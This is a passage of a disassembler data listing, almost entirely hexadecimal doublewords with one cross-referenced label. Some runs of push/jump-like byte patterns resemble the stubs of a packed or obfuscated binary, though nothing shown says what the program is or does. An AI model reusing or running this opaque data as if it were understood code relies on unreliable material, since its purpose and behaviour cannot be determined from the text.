0FFBF69ADh dd 0CA54869Dh, 7B6026A2h, 605FA73Ah, 0DDFB89Ch, 7B60ED99h dd 2418623Ah, 0BFCC600Ah, 30446BE6h, 197D4C5Fh, 415441D3h dd 2277D670h, 0D623CC17h, 4FE771FBh, 304AE63Bh, 45946D8Ch dd 45253628h, 2B43C761h, 0CBD13C51h, 5C087CF4h, 5DF304Ah dd 9ECCDFEBh, 6246BC1Bh, 0F1F16EF8h, 0DA96CB8Ah, 0AE8353FDh dd 0BF4E414Dh, 413D8C5Bh, 9E74927Eh, 3A039h, 0DCEB3F00h dd 0A29FE607h, 744554B1h, 0D9F83EEFh, 0A897ED1Ah, 6E50C4Bh dd 0F710C3F2h, 0A74093AEh, 10FD6651h, 0E029CA07h, 95E0E408h dd 9867C584h, 0F8D5DE20h, 6550A514h, 85C165F7h, 0AC3941Dh dd 44321630h, 495A4342h, 0B865E77Ch, 48B25C6Dh, 3240F0A1h dd 5188h, 33BD5400h, 941DCFBBh, 0CC7A40C3h, 4597ACF0h dd 9EE17621h, 5983F7BDh, 0FE6C5DACh, 0AE8CF86Ch, 0AA033A60h dd 0A79B6F56h, 5CC2A543h, 3A60AE2Dh, 0F56E5BACh, 145E97Bh dd 863A60AEh, 8EB5CDBCh, 0A39EED60h, 9AE00DDFh, 55F3D7BBh dd 2F8EEh, 0D6DE7600h, 51A20BFFh, 0DF3C05BFh, 0A88C5D7Dh dd 7C495A4Bh, 0F9D42188h, 5B728273h, 0F27593F7h, 9943D8A4h dd 609A9E0Fh, 13D7F9FDh, 9A6E42CEh, 71FC88A6h, 0ABBD9F9Ah dd 0A91D247Ah, 665CBB55h, 63325292h, 0BDE73A61h, 8B31D830h dd 38182C35h, 0E4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh dd 0E64E5B4Ah, 0FED2A69Bh, 34D2369Ah, 60CB20A0h, 7A59A13Ah dd 0E6D12796h dd 0EFFE3012h, 0AB3A7E93h, 35C6B851h, 0B7912Ch, 0DE7F0000h dd 0A514F8D5h, 2D9C605Fh, 0B019EDD8h, 9FAAFF67h, 69F3D72Bh dd 1D3357DFh, 0DBB4C394h, 719FF3CEh, 1B5D60F6h, 8B9CC394h dd 3F48A5BEh, 1E7EBE02h, 0B65FD705h, 74260D6h, 26762033h dd 0A6A7CF1Dh, 27446D62h, 77FF09D3h, 30732813h, 0EE80AE94h dd 10DAE53Fh, 281A6E86h, 0ED3073h, 1BE2C6FBh, 0B4F330Eh dd 97ED1ADDh, 8BCF2973h, 391D67F6h, 69B0CD2Eh, 41060C8Ch dd 1F1h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h dd 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h dd 0D913F87Bh, 84973155h, 51C7B6C5h, 78FBDADEh, 944F7A8Fh dd 800D6F6Ch, 941D186Ch, 355BAFC3h, 23ACBC51h, 0E00A6E54h dd 4F545D7Bh, 9D949620h, 193BC4B0h, 34B65000h, 0F09418AAh dd 79C39438h, 5EA4132Eh, 207524B0h, 6697BD9Fh, 64582C11h dd 81754DCAh, 60E121A1h, 21ACF43Ah, 34C1249Bh, 53210C03h dd 80AE9BEAh, 35016F9Eh, 0CC5A2Ch, 0BDA20000h, 1DCFBB33h dd 464EC394h, 0F847BB0Fh, 1D94F074h, 271BC394h, 0DF2825C3h dd 55AF1EE2h, 34EE66Ah, 0BAC3941Bh, 66875C69h, 5C5C201Dh dd 0BD313B40h, 4260D654h, 5402D129h, 0E2ACE848h, 40D7A618h dd 51B51934h, 4C7D8C7Dh, 0BAA084F8h, 6DD73032h, 54A75644h dd 93BD9165h, 129C4EB4h, 72B4EE9Ah, 0EF196130h, 2088907Dh dd 5182E6DBh, 96516CB4h, 8C6AEA4Fh, 0DEEFA0A2h, 7D000000h dd 24C11229h, 9273E0D1h, 7CA94A87h, 2BC41F26h, 0CE75EED1h dd 13C44A7h, 0D1EC35D2h, 0A493E502h, 8454EBFh, 0A2CA26EBh dd 0C5849626h, 0DE62DAA9h, 8F78FBDAh, 6F3B947Ah, 38D2AC79h dd 718E428Fh, 22C80099h, 9459FE8Ah, 150971C3h, 0D5DE36CEh dd 50A514F8h, 0A248F765h, 4ED2EABDh, 0D8540F39h, 19EDD82Dh dd 0E9B30B25h, 0C648852h, 0C3BD8478h, 5A2E1B6Ah, 7C681C90h dd 9BFF3A64h, 0EFF43A7h, 55AC1305h, 9C58125h, 704A3A64h dd 628713C7h, 0EF38D50Eh, 0B1053447h, 4795795Dh, 0A3D5B135h dd 605A3A64h, 44043EC6h, 0AA8059AFh, 94A1F21Bh, 78555E4Fh dd 0E6DD2594h, 20ADE712h, 29146D98h, 46C761A5h, 0B782953Dh dd 41AB8FC3h, 0D4724F54h, 94A1F213h, 36F20h, 84890000h dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4768CF7Bh dd 89000032h, 8951243Ch, 4C181E1h, 83000000h, 0C8704E9h dd 2C895C24h, 22916824h, 4890000h, 33B95124h, 8126C401h dd 0B37EA8E9h, 0CE895620h, 595EF589h, 2F4768h, 24248900h dd 4240481h, 58000000h, 4EC81h, 2C890000h, 8408F24h, 582434FFh dd 4C481h, 2C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4 dd 5C241C87h, 0FAF21AE9h, 74651DFFh, 8CA6B8FCh, 0C5030610h dd 4A27E0FFh, 0BFF14522h, 0D8B47004h, 0D50069B7h, 8FB63557h dd 37AC21DDh, 1FA2773Ch, 0C7183048h, 7EFF3ED3h, 0FE28671Fh dd 0A9187219h, 0E465466Dh, 4901067Dh, 0B9252964h, 0F8747CCh dd 533D3C33h, 0F6261FE4h, 0F41F44D6h, 0A3C2584h, 6D0033C6h dd 576E031Ch, 83402B34h, 718834F5h, 87560C6Fh, 0BAC11AE0h dd 36EA5094h, 0B80F6CB1h, 0F0F66A3Fh, 53082B52h, 8D8D5AC2h dd 6108E4Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0A6C35646h, 394AB55Ah, 174D8D89h, 6A060Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8BB9DBC3h, 0B2E7D95h, 1985C706h, 60060B01h, 6A000073h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0C5DAC351h, 2858F460h, 5467DABBh, 100985C7h dd 60Bh, 7E90000h, 0D4000000h, 4A47EBAEh, 0B5FF85D3h, 60B0105h dd 23F5BD89h, 95FF060Bh, 60B0AC5h, 6AC7BF0Fh, 0DD95FF00h dd 8B060B32h, 4F2CEBC0h, 5646B110h, 0AC51FDC7h, 0FB749A87h dd 1C50935Fh, 9477204Fh, 4C7DE24Ah, 345CBF14h, 0B450DB32h dd 0A577B7D1h, 0E863BCAFh, 0E95ADEC6h, 15Ch, 0F16C1D6Fh dd 977449EBh, 0B665AA4h, 526D54B1h, 0B6E54BDh, 52655A31h db 0CEh, 73h word_594F42 dw 3B4Eh ; DATA XREF: ___:off_438108o dd 521C2626h, 0C53C2777h, 61887B53h, 525BB488h, 522A160Dh dd 522A17D2h, 522A167Dh, 522A16BAh, 522A165Fh, 522A16AFh dd 522A16F8h, 522A16EBh, 522A16FDh, 522A16FAh, 26596F2Eh dd 722A7BDBh, 3145640Fh, 0F5965CAh, 522A16D7h, 522A16EBh dd 522A16F5h, 522A16FAh, 522A167Dh, 522A16BEh, 522A165Fh dd 522A16AFh, 522A16D7h, 522A16EBh, 522A16F5h, 522A16FAh dd 522A167Dh, 522A16BEh, 522A165Fh, 522A16AFh, 522A16D7h dd 522A16EBh, 522A16F5h, 522A16FAh, 522A167Dh, 522A16BEh dd 522A165Fh, 522A16AFh, 522A16D7h, 522A16EBh, 522A16F5h dd 522A16FAh, 522A167Dh, 522A16BEh, 522A165Fh, 522A16AFh dd 522A16D7h, 522A16EBh, 522A16F5h, 522A16FAh, 522A167Dh dd 522A16BEh, 522A165Fh, 522A16AFh, 522A16D7h, 522A16EBh dd 522A16F5h, 522A16FAh, 522A167Dh, 522A16BEh, 522A165Fh dd 522A16AFh, 522A16D7h, 522A16EBh, 522A16F5h, 522A16FAh dd 522A167Dh, 522A16BEh, 522A165Fh, 522A16AFh, 522A16D7h dd 522A16EBh, 522A16F5h, 522A16FAh, 522A167Dh, 68445C08h dd 16DBE9h, 91EB6800h, 46E90610h, 68FFFBB3h, 61092CDh dd 0FBB33CE9h, 93B968FFh, 32E90610h, 68FFFBB3h, 6109492h dd 0FBB328E9h, 965568FFh, 1EE90610h, 68FFFBB3h, 610978Bh dd 0FBB314E9h, 989C68FFh, 0AE90610h, 68FFFBB3h, 610996Bh dd 0FBB300E9h, 9B8468FFh, 0F6E90610h, 68FFFBB2h, 6109C7Ch dd 0FBB2ECE9h, 9D5368FFh, 0E2E90610h, 68FFFBB2h, 6109DF9h dd 0FBB2D8E9h, 9F9B68FFh, 0CEE90610h, 68FFFBB2h, 610A41Eh dd 0FBB2C4E9h, 0A52168FFh, 0BAE90610h, 0CFFFFBB2h, 886BD4B2h dd 43A6116Dh, 2E5522Ch, 0C41FE8E6h, 705D2AA4h, 3B93EBBFh dd 7650A94Ch, 0B20C6E89h, 0F2CC22C5h, 0A7B0EC05h, 7BADECDAh dd 7654B0F9h, 0ADED20EDh, 3CCB377Bh, 5836B445h, 0FBD329B2h dd 0B5CB0C0Ch, 40CF33D9h, 508E746Ah, 346CFC72h, 385B9B71h dd 0D24CFB3Fh, 6E99750Eh, 8ACE8F9Bh, 9F48A64Fh, 6F92CD12h dd 0D8DAB321h, 2B1A32C1h, 5B1CC04Fh, 20CAA620h, 933E3E8Fh dd 0A68686Fh, 3C763B2Ch, 0BD9D6F93h, 933CE9B6h, 5320E6Fh dd 0CE358C7Fh, 51BC0D09h, 43h, 482E47Fh, 0BD393AE6h, 514F36C1h dd 5D1BE073h, 0E501759Dh, 7D9F43E9h, 0A638729Dh, 79F1625Ch dd 744F8A74h, 7CCD6684h, 166F9234h, 2D96EBDEh, 0FEBC0E18h dd 0D7h, 0EAB7A09Eh, 96F923Eh, 0B49F0631h, 0CCB25836h dd 5CB845EEh, 63DF759Dh, 0FDD911D4h, 97D6114Fh, 2F4A0D3Fh dd 2B75FB57h, 739CB074h, 2B4124D3h, 0C826B953h, 135790CEh dd 4A9D8CBBh, 759E1208h, 58C203C9h, 0E7963ED9h, 675F9D58h dd 0A71F5D98h, 1E9FD85h, 4D603C27h, 0E5554F8Bh, 64CE101Ah dd 0D32B2C0Ah, 0C54A9DFBh, 0D26F930Ch, 9B16E16Eh, 80498539h dd 0F7605EB8h, 69855A2Ah, 7A549649h, 3513719Eh, 32DDB932h dd 0F05F37B7h, 5B99F575h, 0E45980EDh, 26AD6802h, 5F000014h dd 18DBA422h, 0D316E1DDh, 9255229Ch, 548F7856h, 0C0CDBA14h dd 8B037B2Fh, 0C6C0393Ch, 27CFE79h, 423CB2B5h, 0D7007CF5h dd 7BADEE4Ah, 0B43D2069h, 0DDB93D34h, 1D539661h, 7BEFD6A1h dd 0B6A19F63h, 4F8A7436h, 7725C73Bh, 0EC1E78FCh, 0E770030Ch dd 816F9233h, 0C304804Bh, 201C46AAh, 0D8B4A529h, 73D8D37Ch dd 34BC0E1Dh, 0B3h, 5836B4C1h, 92D129B2h, 0E7DF1958h, 2ABDAF0Bh dd 759D58A8h, 0A7106E8Ch, 7650AEA9h, 0F6D02EC9h, 6E06654h dd 0A611D34Dh, 0CB1397A0h, 30ECEA00h, 61710DD6h, 0B2B84F8Ah dd 64666375h, 0C0D77175h, 9BD598AEh, 0F885AE88h, 1F6F91F5h dd 0F7681423h, 33EF1D79h, 1CC2E857h, 0A76FF8D6h, 0BA498425h dd 8FEF6846h, 4DAD4837h, 949FF371h, 1AB0E45Ah, 13443Bh dd 8A047900h, 0C7BF3A3Dh, 7EFD78h, 5E38BCB7h, 98F676F1h dd 511DE2Fh, 0DB1EE9E5h, 985B24A2h, 5C97605Eh, 12D7A01Eh dd 0EF2CF162h, 464B7BADh, 5A34B41Fh, 482FB7Ch, 93E90CFBh dd 0B4554C3Bh, 0E57E5836h, 51FB0482h, 3690E86Bh, 0B6106E09h dd 615D9F58h, 9AF470CBh, 172C8870h, 0EC4CFED8h, 0FA71F463h dd 0AF0B83FBh, 0CAC43ABDh, 42399A7Dh, 1A78569Ch, 426A0D9h dd 5C820FD4h, 9A4D759Dh, 759D5D15h, 5E3CDE22h, 9D5D0895h dd 77D32F75h, 531FC8C8h, 0BA4F8A74h, 0B94640B9h, 895C3B07h dd 75FFE441h, 1D5904DAh, 78EBC5A1h, 51F51BE4h, 0B7C369D1h dd 6AEDCB2Fh, 0AA96B412h, 0DB169B4Ch, 0DD3D71FCh, 10815232h dd 0F4BEE5Eh, 0DC12D533h, 274384E2h, 53B1A0AFh, 0CD7F5790h dd 0E907E26Dh, 7D0D57EDh, 6802E1F0h, 1258ADh, 96F00D00h dd 0D3ABCE29h, 6C6A8164h, 0AA2440A3h, 0E4E21ADDh, 29FD321Bh dd 0EF0AF5D1h, 0AC47308Eh, 60834C4Ah, 2EC38C0Ah, 0F018E54Eh dd 723F7BADh, 5836B40Bh, 3A00E6B2h, 0EBE31BDCh, 4B579941h dd 0EF7698F2h, 0B5BE1E29h, 4F8A9109h, 80632C2Ch, 80FE6C6Ah dd 0BDAF2747h, 6A64865Dh, 2911D5DDh, 1F764CFh, 0E2C04982h dd 81E0AC71h, 0C877CB69h, 506B4E14h, 0F2AF760h, 0F1496982h dd 132F5A7Fh, 0F87B59B7h, 0B9E70581h, 8251E1AEh, 0AE0AF669h dd 0CF785695h, 0FF8D614h, 123896D4h, 0BC9A6086h, 6866855Eh dd 66F11EC2h, 4371E419h, 63E4C23Eh, 23C6B10Dh, 4F5BF1CDh dd 78323997h, 0BA29C341h, 4182E0DEh, 0D7A2AD29h, 3D5F4733h dd 3C08CA36h, 0D3F07794h, 117FDC39h, 0C9260000h, 84E702CDh dd 43BABD0Ah, 0FD79FC4Bh, 0BB333681h, 0D61B74C3h, 632CAAC2h dd 0A06F6780h, 0DCAB2345h, 1CEBE319h, 0F1BEA9D7h, 67BADF0h dd 34B4548Bh, 80FB7C5Ah, 0B34E406h, 0DD0161Ch, 0E07B91EDh dd 231F0D89h, 0AF8DEB47h, 0CD7A5494h, 8A6A363Ah, 26449F4Fh dd 0B15E82A8h, 0DF16540Fh, 0DB0725A1h, 0D669837Fh, 96513E98h dd 22007E58h, 92496C31h, 88B78B6Fh, 0C02ABCC4h, 0B54288E6h dd 12EFC683h, 0FA9E6996h, 0F497F4Bh, 28461933h, 0EB36BCAEh dd 73E8F8EBh, 0AA24449Fh, 0B118DE80h, 705B91F7h, 0B6A19BD1h dd 6986F5E9h, 33D9B537h, 11CD4DCFh, 0C2BC3C37h, 0D847F028h dd 0B3A40CD2h, 6986F5EEh, 7F593505h, 28A6C601h, 388541Fh dd 0ADAD4374h, 1876F073h, 4F010EF2h, 6436DB11h, 0DE322785h dd 5E38B631h, 661EA60h, 83B3044Ah, 42EDB2A5h, 360A637Ch dd 0DD134709h, 8F58B6EEh, 637C4302h, 941E2911h, 0A58EE852h dd 3D695099h, 70F35CBCh, 680FBFAh, 9E2F80AAh, 0B45D7141h dd 2FB05A34h, 4A0698CCh, 6044D1D3h, 0B016684h, 5BD1C6C0h dd 449BD170h, 51ABA826h, 0CB2E9975h, 6733D9B5h, 8A5DBB7Fh dd 375DDCDAh, 98C7BC7h, 0E2489E89h, 6F365384h, 5B913155h dd 7BF1C2EFh, 0F355CD03h, 0A59547F0h, 0D69EACAh, 8BE386B1h dd 2B1FD533h, 0DB4428C5h, 1A400C3Bh, 0A25E3DD4h, 1A25216Eh dd 54C1FE4Fh, 7FC31B51h, 53D1D601h, 6AD62B44h, 0D9B5CB0Ch dd 8A0464FFh, 0A08FB860h, 71AF2745h, 333BC013h, 0E0584B44h dd 32D05D86h, 1BE74B44h, 5F9F20ECh, 0A7ABED67h, 0AA40029Ah dd 0FBC6Bh, 328CE100h, 4F47A245h, 88066580h, 0C6C0243Fh dd 7EFE79h, 8D9956B7h, 43A6116Dh, 0E3AC2Ah, 0C41FE8E6h dd 8A5F28A6h, 0F2B479EAh, 0CEC37BADh, 5A34B497h, 9AF40AEDh dd 0AFC90A70h, 2F4D28D7h, 61DDB930h, 6554ACCBh, 5F28A6C4h dd 0D6C4EB61h, 95834BD7h, 6DCD7F57h, 0C02B86B1h, 63B6023Dh dd 17Eh, 5836B474h, 0FBD329B2h, 8102579Dh, 2D239BDCh, 2445E863h dd 0D241CEAAh, 1F5B06D8h, 7AEDCBA7h, 4F8A862Eh, 0A205271Bh dd 6F928619h, 0FB4EBDB3h, 0BC0DC190h, 3413h, 637B2400h dd 36B6A19Fh, 3B4F8A74h, 398225C7h, 2F6F9234h, 8659F3CBh dd 91C16B63h, 2F386C5Fh, 6F923262h, 6A2D8971h, 69D22792h dd 3ABC0E18h, 0B8h, 5836B4DBh, 9FD129B2h, 559159BFh, 0D96FD379h dd 0CF3C0BAFh, 0C190DCDCh, 4DFF5B37h, 0F01A748Ah, 5531498Ah dd 39BC4BB7h, 0E97CCBC3h, 759DCF67h, 77512D43h, 549F79FCh dd 759DCDC7h, 0BEB06CECh, 76414754h, 0F160EF78h, 0E3DD25B9h dd 906B2A70h, 95F34F4Fh, 0D3BC1A52h, 64FED810h, 0DE4E513Ch dd 86DC39D3h, 3F00000Eh, 0F87BC4C2h, 0B3B6017Dh, 72F5423Ch dd 342F98F6h, 606DDAB4h, 2BA3DBCFh, 6660995Ch, 0A21C5E99h dd 0E2DC12D5h, 0B7A0DC15h, 7BADF3EAh, 0B45D8009h, 1E7C5A34h dd 3B28A6C5h, 759D5C76h, 0A392BD9Dh, 0B4CB2A40h, 0A66BFCDAh dd 0CD759D5Ch, 3F26914Dh, 78569651h, 6E16ED2h, 157189E8h dd 0B2C893B9h, 0F6D6BD4h, 9D5D5724h, 739C7C75h, 57B7AF0h dd 95F32D89h, 9D5CBD42h, 0D966DA75h, 0B77B6337h, 59F79359h dd 1CDF69E4h, 0BCB795F3h, 76AA403Eh, 8E663EC9h, 655B4F8Ah dd 926E2DF2h, 5B914A6Fh, 5C2B8763h, 7E5E3h, 96518400h dd 0D41F7955h, 759D5D47h, 8063EC6Ch, 91ED0968h, 0B5C1735h dd 16759D5Eh, 0DB0C6AD0h, 4F8CEFE6h, 30336DEDh, 4442BAB9h dd 719E42E8h, 0CD73513h, 6F8CCE7Fh, 0CB714DADh, 0EEFBE11Dh dd 817D46C6h, 0A2AD2942h, 622DA9C7h, 0FF6D6987h, 95174B81h dd 0F01685C4h, 724CAC47h, 5201D2F0h, 72D379DEh, 0D75h dd 0CFBD328h, 47308EE9h, 86714DACh, 0C08F0763h, 7EC9C525h dd 0B434E011h, 718A6DDAh, 2D4FAA15h, 0ED03E651h, 53CD2691h dd 0ADF4FB80h, 6E91187Bh, 0ED5A34B4h, 7FFDF40Ah, 5935E507h dd 0F30ACDB3h, 0A11D79FCh, 219DD396h, 3837B00Bh, 0F72BC1BDh dd 0C6EF11Bh, 51B98B2h, 774FABB6h, 968965D5h, 0C8AED66h dd 4F15221Eh, 378FED7Ch, 0EDFE6548h, 0DA1B602h, 0B6000000h dd 9D52C9A4h, 9A11E875h, 36FFFFFDh, 79559651h, 26316FD3h dd 759D5D59h, 0E275827Eh, 759D5E59h, 0B41269EAh, 159DAA96h dd 240F69D1h, 4F8CEFEFh, 2C0A64D4h, 5991D02Bh, 0B76B817Dh dd 0B35C3ABCh, 73DCBA30h, 0EE1C7AF0h, 0BBB91555h, 0DE520C13h dd 0A65FBE2Ch, 0DF00000Ch, 985B24A2h, 5396615Dh, 12D5A21Ch dd 0D40FF8D6h, 404D3A94h, 0B83FBAFh, 4640B9BCh, 82FC7EF9h dd 0C2BC3235h, 5780FC75h, 7BADF5CAh, 0B4BDA0E9h, 29B25836h dd 8E51FBD3h, 9AF4706Fh, 3E2C8870h, 894A44A5h, 0BDFA106Eh dd 4D5254A7h, 76504F7h, 86EDC08Fh, 8EB602EDh, 0B35935B5h dd 1757C04Fh, 60000000h, 1BE07351h, 38759D5Dh, 0D1AC37C0h dd 90759D52h, 0FFFCD429h, 637BCEFFh, 0DEB9C1F5h, 0A703086Ch dd 0DA0D6B49h, 759E2A55h, 0E6719E62h, 4F8B1F2Eh, 5F3D2F13h dd 0DF686684h, 931FC414h, 0A514EC6Fh, 0D27E74Ch, 1E3B8BCh dd 0A45D0000h, 759D5CC3h, 0BC322596h, 7CF275C2h, 1DC62402h dd 759D5C90h, 0E0AC5BA7h, 9D5C664Fh, 408BA175h, 4F3CB21h dd 0D674BA2Eh, 2897EF0Dh, 35D7AFCDh, 9BFC8147h, 9C16E59Bh dd 3AC7E073h, 4B81759Dh, 0BC22980h, 9665B603h, 72000001h dd 6D3236B4h, 36EA6E46h, 7927C5A1h, 7657CFEh, 0C1BD9D8Fh dd 0AD48F72Bh, 0A288774Fh, 77F3743Ch, 260DED1Fh, 759DF959h dd 0C826827Eh, 8AF40B1Fh, 0E802FE4Fh, 5E38B1B2h, 30C34CACh dd 6F92F3A7h, 44C00BC1h, 0E6116D83h, 0D5460CBh, 29C3BCh dd 7BD40000h, 667DF863h, 712D8905h, 748CCC17h, 0DE814F8Ah dd 0AA403C9Ah, 9234B801h, 0AF1AD26Fh, 0E16F15Ah, 0ECB2BCh dd 0B4430000h, 0CCB25836h, 7694F20Bh, 5D52DF08h, 9961759Dh dd 1757123Dh, 0B4CA8DBFh, 625C3ABDh, 9D5D2CF1h, 1BF74B75h dd 34106EF1h, 9D5D5E23h, 88E27575h, 9F6520Eh, 9D64FCFEh dd 0B3B2C875h, 0C5C1253Ch, 0ED1FFB27h, 0F177510Dh, 752C80AFh dd 78E710C4h, 64293A18h, 73759C5Ch, 5A34B48Fh, 19E105ADh dd 8BE6343Fh, 0F12F4F8Eh, 17A4847Bh, 8C57FF2Eh, 6F8E61FFh dd 611B2414h, 44A4BF99h, 27AFD4Ah, 866587E3h, 86095577h dd 9C2AC0BCh, 0ED3C5A2Fh, 403C9862h, 4FA7F482h, 94711BDEh dd 0A8Dh, 74C3BB30h, 0AF1876F1h, 0EE5935B4h, 2897EF0Bh dd 66D1ADCDh, 9CDCC869h, 59925522h, 1557927Dh, 0D52BCEB9h dd 0BBE50EF9h, 0ADF7E3A8h, 46B9F07Bh, 7C5A34B4h, 0E40680FBh dd 0D91C0B34h, 7C5C2BA3h, 5D48D51Eh, 936F759Dh, 73517D64h dd 9D5D1BE0h, 37C03875h, 0FF2A3EBCh, 8D60EC28h, 1EA14B27h dd 3B19E6E0h, 0C890F35h, 0EB0906h, 0B04F81AAh, 0A19EA931h dd 41Eh, 1623D446h, 14239BDDh, 84E2489Eh, 0BEAC2A43h, 2EF36442h dd 45759D5Dh, 994A4AF5h, 4F8CEF7Dh, 0D3D7B088h, 1EC9270Bh dd 4979E666h, 1745E75Bh, 113E98DCh, 81A6F546h, 43A19F69h dd 81A60B90h, 27D02869h, 0AC176A51h, 7FC21EA0h, 396h, 5E13A418h dd 53D1759Dh, 0A0759D5Dh, 625C933Eh, 5AB410C8h, 8A753189h dd 1A6AE04Fh, 0EA2283C3h, 807824D3h, 4D4F3E42h, 0DA3BD1DEh dd 995h, 6CDBB3C8h, 0A7106E89h, 0E6512D4Ch, 20EFE703h dd 5E29A5C5h, 94D4C071h, 51AA4D3Ah, 0D6F8A75h, 0CD23C6B1h dd 0B3ED06F1h, 0ADF8DBA0h, 4EB1F87Bh, 0B25836B4h, 4D0706CCh dd 0A8B71D94h, 6FD30B9Fh, 0D510D331h, 59EF53F9h, 1913D4C4h dd 0D49FA861h, 4F8D85B3h, 0B3F740B8h, 7EE9C72Bh, 497CF721h dd 0BCC2A16h, 2D2B94F2h, 5D9DD42Ah, 0BB17CB61h, 0CB9EA991h dd 697CD52Ah, 0D7A48FEDh, 0C5697CD4h, 0D9012BA3h, 7A30DF23h dd 0ADA39D63h, 0FE146FAh, 0CA39C62Bh, 91ED09CAh, 6C6A8366h dd 8F0765FEh, 7E589651h, 0B845EECCh, 0DF697CC4h, 0D4788763h dd 0F6D01ACCh, 69E5756Dh, 8EBEB443h, 0AB4B8FABh, 0FB2E0468h dd 0FE660775h, 9153AF51h, 0EA6CD31Bh, 0BE7BDA70h, 0E7000008h dd 0A0430C8Ah, 7BFE4945h, 3A3D8A04h, 0FC77C0BEh, 58B5027Ch dd 136B8397h, 0AE2841A4h, 0EAE406E1h, 2AA4DA1Dh, 7FE8945Dh dd 7BADF9B2h, 7B95C8C1h, 0B6A19F63h, 4F8CEF59h, 4384E25Eh dd 0E3AC2Ah, 0B6B1EFE7h, 0CFAD5F37h, 8CCD9764h, 0E05CBC6Fh dd 84B30B63h, 0DC26B8C8h, 601871E2h, 4117497Ch, 61F2B3FDh dd 697C359Ch, 0F28147BBh, 0D10FEBEDh, 50FAD416h, 0F416708Fh dd 0ED9FA804h, 5D9E41A5h, 0BB17CB61h, 83E47F5Dh, 8453D80Bh dd 9860697Bh, 0FAC6116Fh, 1F436835h, 85B52123h, 30DAEA6Eh dd 818D5h, 56304D00h, 93EB0EE9h, 2CAAC124h, 6A648063h dd 0A4225A9Dh, 693DF2DBh, 2FCAB511h, 0EC07F0CEh, 0A0430C8Ah dd 6E834C4Ah, 0FA58250Eh, 327F7BADh, 3F36B4CBh, 0F129C3BBh dd 0ADD3B15h, 759D5C85h, 0EFA1AE92h, 92B81654h, 5E89E715h dd 759D5CD1h, 5B2770E6h, 0D7ADA0B4h, 0C534CC7Bh, 19CA46A4h dd 759DB394h, 31895FA3h, 493B3EFDh, 0EBE95632h, 96B41268h dd 774FA9AAh, 267EE5C8h, 6721B602h, 2F000001h, 57F5D114h dd 51655CEBh, 0FD4CEE9Bh, 778019E5h, 0EA007EFCh, 0D4A31B51h dd 0C42208DEh, 8A770713h, 0EC1EE24Fh dd 5A34B58Eh, 7791DAADh, 253B6F92h, 0E770AED6h, 6F92761Ah dd 6EECEA00h, 0C84BBBF8h, 0D28EE2F7h, 0C0218A25h, 4282BC0Dh dd 93000000h, 7F579651h, 0C8E26DCDh, 61F22C16h, 4F8A73E9h dd 343A14E4h, 1B6E0271h, 6B25D294h, 925777C0h, 0F0DB116Fh dd 0DF53299h, 0DAF5BCh, 0BD9B0000h, 6207945Fh, 2C2C6F92h dd 92617A07h, 96A1996Fh, 5836B42Fh, 0F5D129B2h, 8EEE6957h dd 19261A30h, 48A6205Eh, 0F715718Fh, 5CD15E89h, 1AE6759Dh dd 4B43A5BEh, 2CE79A1h, 6D4B43B9h, 113B93EAh, 0D12F1E29h dd 53F9D516h, 0FB9560EFh, 0DF759D60h, 522C42A1h, 1BE440B8h dd 0D6BCF17h, 8152AECAh, 759D40FCh, 0A14B271Bh, 7EFA79h dd 404E99F7h, 554F8F71h, 2C488BE5h, 2C27A552h, 5394F2CCh dd 0A594A31Bh, 833BA1A7h, 81D2BF18h, 86B16D69h, 31338BE3h dd 0DE4F4ECFh, 76E726C4h, 2F000006h, 0E80BF4D2h, 0A346318Dh dd 6285724Ch, 243F8806h, 107DCAC4h, 0DBB3CBDFh, 1670896Ch dd 522C4EA9h, 92EC02E5h, 8750CC25h, 7BADFBFAh, 0B46D9019h dd 0AED5A34h, 362D9AF4h, 0B25836B4h, 0CFBD329h, 3993h dd 54D4B400h, 57B1796Dh, 37BFE79h, 730631E9h, 4F8CEF14h dd 95F174CFh, 0C07C8B77h, 0E1249F78h, 0D432F8EEh, 7C5FE503h dd 499AE049h, 697C3EC4h, 0D4B36FD3h, 456Bh, 96510C00h dd 0E6CC7B53h, 0BDC3A00h, 4F8A535Bh, 5F9D46h, 9C7CEEE8h dd 7AD60A20h, 43C91FD0h, 37AD6F92h, 698740C4h, 0F403FF6Dh dd 0E4C228BEh, 7F598373h, 86E57E49h, 0DBB70F6Fh, 0A26DC931h dd 9B3Dh, 637BDA00h, 51B6A19Fh, 564F8CEFh, 0AEF7A8EAh dd 6882FC7Ch, 113B93D7h, 0F0CE2A29h, 7F2605Ah, 4EBDA31Dh dd 137C90FBh, 5B13BCh, 7B240000h, 7EF863h, 7C5A36EAh, 4C8D5FF6h dd 0C51EAE67h, 0D8002AA4h, 6286512Fh, 674F8DE3h, 9FE6999Bh dd 99B30B63h, 3149A8C6h, 0A053F955h, 11CFB900h, 42A900CBh dd 0E5BC1289h, 1Dh, 9F637BF2h, 0EF4FB6A1h, 0E4544F8Ch dd 17B0F5AEh, 3CA7FAC1h, 0EFBC1379h, 14h, 646BA488h, 0D00E759Dh dd 4FFDD917h, 23FB6493h, 9CFFFFFFh, 0A19F637Bh, 8CEE41B6h dd 9AB0264Fh, 7AA28755h, 454DFF5Bh, 0F47F59A1h, 497CAE8Eh dd 8E49A79Bh, 99F5766Dh, 24D38F73h, 7CC61868h, 20CCD102h dd 17EB436Ch, 0C3BB3E39h, 98D31474h, 4599113Eh, 0AFA583FDh dd 0D1B10BA2h, 0F2BFA4D4h, 1636C34h, 0A58E0E39h, 3D5BC630h dd 0ACD2B17h, 67496F0h, 5BA550DDh, 3F9B675Dh, 9C52B010h dd 0FD66A0C1h, 5D5C4730h, 9975FB47h, 0E36C84h, 0D41FE8E6h dd 0C5A57C38h, 1FE8E604h, 8B10C321h, 0A8C5353Bh, 0AECCA750h dd 786E3AD0h, 0E78354B2h, 0E29F2250h, 5886EC1Eh, 0C3641A92h dd 0C14ED917h, 3BB1D03Bh, 0F771F443h, 8FEA6D9Fh, 0C0BC1A50h dd 17E2702Ah, 2996F00Ah, 38D2ACCEh, 0EE0EB0C7h, 